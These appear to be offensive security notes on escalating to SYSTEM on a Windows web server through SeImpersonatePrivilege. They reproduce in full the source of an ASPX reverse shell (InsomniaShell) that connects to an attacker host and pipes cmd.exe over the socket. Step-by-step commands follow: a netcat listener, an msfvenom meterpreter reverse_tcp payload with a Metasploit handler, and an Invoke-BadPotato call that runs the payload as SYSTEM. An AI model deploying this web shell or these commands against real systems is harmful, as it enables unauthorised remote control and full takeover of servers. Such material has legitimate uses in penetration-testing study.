Privesc SeImpersonatePrivilege

Better Shell?

https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
    
	protected void Page_Load(object sender, EventArgs e)
    {
	    String host = "127.0.0.1"; //CHANGE THIS
            int port = 1234; ////CHANGE THIS
                
        CallbackShell(host, port);
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public int cb;
        public String lpReserved;
        public String lpDesktop;
        public String lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int Length;
        public IntPtr lpSecurityDescriptor;
        public bool bInheritHandle;
    }
    
    
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string lpApplicationName,
       string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
       uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
       [In] ref STARTUPINFO lpStartupInfo,
       out PROCESS_INFORMATION lpProcessInformation);

    public static uint INFINITE = 0xFFFFFFFF;
    
    [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
    internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);

    internal struct sockaddr_in
    {
        public short sin_family;
        public short sin_port;
        public int sin_addr;
        public long sin_zero;
    }

    [DllImport("kernel32.dll")]
    static extern IntPtr GetStdHandle(int nStdHandle);

    [DllImport("kernel32.dll")]
    static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);

    public const int STD_INPUT_HANDLE = -10;
    public const int STD_OUTPUT_HANDLE = -11;
    public const int STD_ERROR_HANDLE = -12;
    
    [DllImport("kernel32")]
    static extern bool AllocConsole();


    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
                                            [In] SocketType socketType,
                                            [In] ProtocolType protocolType,
                                            [In] IntPtr protocolInfo, 
                                            [In] uint group,
                                            [In] int flags
                                            );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern int inet_addr([In] string cp);
    [DllImport("ws2_32.dll")]
    private static extern string inet_ntoa(uint ip);

    [DllImport("ws2_32.dll")]
    private static extern uint htonl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern uint ntohl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort htons(ushort ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort ntohs(ushort ip);   

    
   [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
   internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int send(
                                [In] IntPtr socketHandle,
                                [In] byte[] pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int recv(
                                [In] IntPtr socketHandle,
                                [In] IntPtr pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int closesocket(
                                       [In] IntPtr socketHandle
                                       );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern IntPtr accept(
                                  [In] IntPtr socketHandle,
                                  [In, Out] ref sockaddr_in socketAddress,
                                  [In, Out] ref int socketAddressSize
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int listen(
                                  [In] IntPtr socketHandle,
                                  [In] int backlog
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int bind(
                                [In] IntPtr socketHandle,
                                [In] ref sockaddr_in  socketAddress,
                                [In] int socketAddressSize
                                );


   public enum TOKEN_INFORMATION_CLASS
   {
       TokenUser = 1,
       TokenGroups,
       TokenPrivileges,
       TokenOwner,
       TokenPrimaryGroup,
       TokenDefaultDacl,
       TokenSource,
       TokenType,
       TokenImpersonationLevel,
       TokenStatistics,
       TokenRestrictedSids,
       TokenSessionId
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public static extern bool GetTokenInformation(
       IntPtr hToken,
       TOKEN_INFORMATION_CLASS tokenInfoClass,
       IntPtr TokenInformation,
       int tokeInfoLength,
       ref int reqLength);

   public enum TOKEN_TYPE
   {
       TokenPrimary = 1,
       TokenImpersonation
   }

   public enum SECURITY_IMPERSONATION_LEVEL
   {
       SecurityAnonymous,
       SecurityIdentification,
       SecurityImpersonation,
       SecurityDelegation
   }

   
   [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
   public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
       String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

   [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
   public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
       ref IntPtr DuplicateTokenHandle);

   

   const int ERROR_NO_MORE_ITEMS = 259;

   [StructLayout(LayoutKind.Sequential)]
   struct TOKEN_USER
   {
       public _SID_AND_ATTRIBUTES User;
   }

   [StructLayout(LayoutKind.Sequential)]
   public struct _SID_AND_ATTRIBUTES
   {
       public IntPtr Sid;
       public int Attributes;
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool LookupAccountSid
   (
       [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
       IntPtr pSid,
       StringBuilder Account,
       ref int cbName,
       StringBuilder DomainName,
       ref int cbDomainName,
       ref int peUse 

   );

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool ConvertSidToStringSid(
       IntPtr pSID,
       [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);


   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool CloseHandle(
       IntPtr hHandle);

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
   [Flags]
   public enum ProcessAccessFlags : uint
   {
       All = 0x001F0FFF,
       Terminate = 0x00000001,
       CreateThread = 0x00000002,
       VMOperation = 0x00000008,
       VMRead = 0x00000010,
       VMWrite = 0x00000020,
       DupHandle = 0x00000040,
       SetInformation = 0x00000200,
       QueryInformation = 0x00000400,
       Synchronize = 0x00100000
   }

   [DllImport("kernel32.dll")]
   static extern IntPtr GetCurrentProcess();

   [DllImport("kernel32.dll")]
   extern static IntPtr GetCurrentThread();


   [DllImport("kernel32.dll", SetLastError = true)]
   [return: MarshalAs(UnmanagedType.Bool)]
   static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
      IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
      uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);

    [DllImport("psapi.dll", SetLastError = true)]
    public static extern bool EnumProcessModules(IntPtr hProcess,
    [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
    uint cb,
    [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);

    [DllImport("psapi.dll")]
    static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);

    public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
    public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
    public const uint PIPE_ACCESS_INBOUND = 0x00000001;
    public const uint PIPE_WAIT = 0x00000000;
    public const uint PIPE_NOWAIT = 0x00000001;
    public const uint PIPE_READMODE_BYTE = 0x00000000;
    public const uint PIPE_READMODE_MESSAGE = 0x00000002;
    public const uint PIPE_TYPE_BYTE = 0x00000000;
    public const uint PIPE_TYPE_MESSAGE = 0x00000004;
    public const uint PIPE_CLIENT_END = 0x00000000;
    public const uint PIPE_SERVER_END = 0x00000001;
    public const uint PIPE_UNLIMITED_INSTANCES = 255;

    public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
    public const uint NMPWAIT_NOWAIT = 0x00000001;
    public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;

    public const uint GENERIC_READ = (0x80000000);
    public const uint GENERIC_WRITE = (0x40000000);
    public const uint GENERIC_EXECUTE = (0x20000000);
    public const uint GENERIC_ALL = (0x10000000);

    public const uint CREATE_NEW = 1;
    public const uint CREATE_ALWAYS = 2;
    public const uint OPEN_EXISTING = 3;
    public const uint OPEN_ALWAYS = 4;
    public const uint TRUNCATE_EXISTING = 5;

    public const int INVALID_HANDLE_VALUE = -1;

    public const ulong ERROR_SUCCESS = 0;
    public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
    public const ulong ERROR_PIPE_BUSY = 231;
    public const ulong ERROR_NO_DATA = 232;
    public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
    public const ulong ERROR_MORE_DATA = 234;
    public const ulong ERROR_PIPE_CONNECTED = 535;
    public const ulong ERROR_PIPE_LISTENING = 536;

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr CreateNamedPipe(
        String lpName,									
        uint dwOpenMode,								
        uint dwPipeMode,								
        uint nMaxInstances,							
        uint nOutBufferSize,						
        uint nInBufferSize,							
        uint nDefaultTimeOut,						
        IntPtr pipeSecurityDescriptor
        );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool ConnectNamedPipe(
        IntPtr hHandle,
        uint lpOverlapped
        );

    [DllImport("Advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateNamedPipeClient(
        IntPtr hHandle);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool GetNamedPipeHandleState(
        IntPtr hHandle,
        IntPtr lpState,
        IntPtr lpCurInstances,
        IntPtr lpMaxCollectionCount,
        IntPtr lpCollectDataTimeout,
        StringBuilder lpUserName,
        int nMaxUserNameSize
        );
 
    protected void CallbackShell(string server, int port)
    {

        string request = "Spawn Shell...\n";
        Byte[] bytesSent = Encoding.ASCII.GetBytes(request);

        IntPtr oursocket = IntPtr.Zero;
        
        sockaddr_in socketinfo;
        oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
        socketinfo = new sockaddr_in();
        socketinfo.sin_family = (short) AddressFamily.InterNetwork;
        socketinfo.sin_addr = inet_addr(server);
        socketinfo.sin_port = (short) htons((ushort)port);
        connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
        send(oursocket, bytesSent, request.Length, 0);
        SpawnProcessAsPriv(oursocket);
        closesocket(oursocket);
    }

    protected void SpawnProcess(IntPtr oursocket)
    {
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec"); 
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);
        sInfo.dwFlags = 0x00000101;
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;
        retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
    }

    protected void SpawnProcessAsPriv(IntPtr oursocket)
    {
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec"); 
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);
        sInfo.dwFlags = 0x00000101; 
        IntPtr DupeToken = new IntPtr(0);
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;
        if (DupeToken == IntPtr.Zero)
            retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        else
            retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
        CloseHandle(DupeToken);
    }
    </script>

Change the IP and port from the above script and Upload the .aspx to the website.

Start listening to catch the shell

nc -nvlp 8080

After uploading, navigate to the location of the file

Got shells?

SeImpersonatePrivilege Priv Escalation

Any process holding this privilege can impersonate (but not create) any token for which it is able to gethandle. You can get a privileged token from a Windows service (DCOM) making it perform an NTLM authentication against the exploit, then execute a process as SYSTEM.

we will be focusing on the usage of the SeImpersontePrivilege or Impersonate a Client After Authentication” User Right Privileges to elevate the access on the machine using different methods.

Check if Print Spooler service is running:

PS > Get-Service Spooler

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler

Getting Shell with NT Authority System

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.31 lport=12034 -f exe > pwn.exe

Getting Metasploit Ready to Listen for shell

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.31
set lport 12034
run

Upload pwn.exe

Upload badpotato.ps1

https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-BadPotato.ps1

Let's get the shell?

. .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\inetpub\wwwroot\upload\pwn.exe"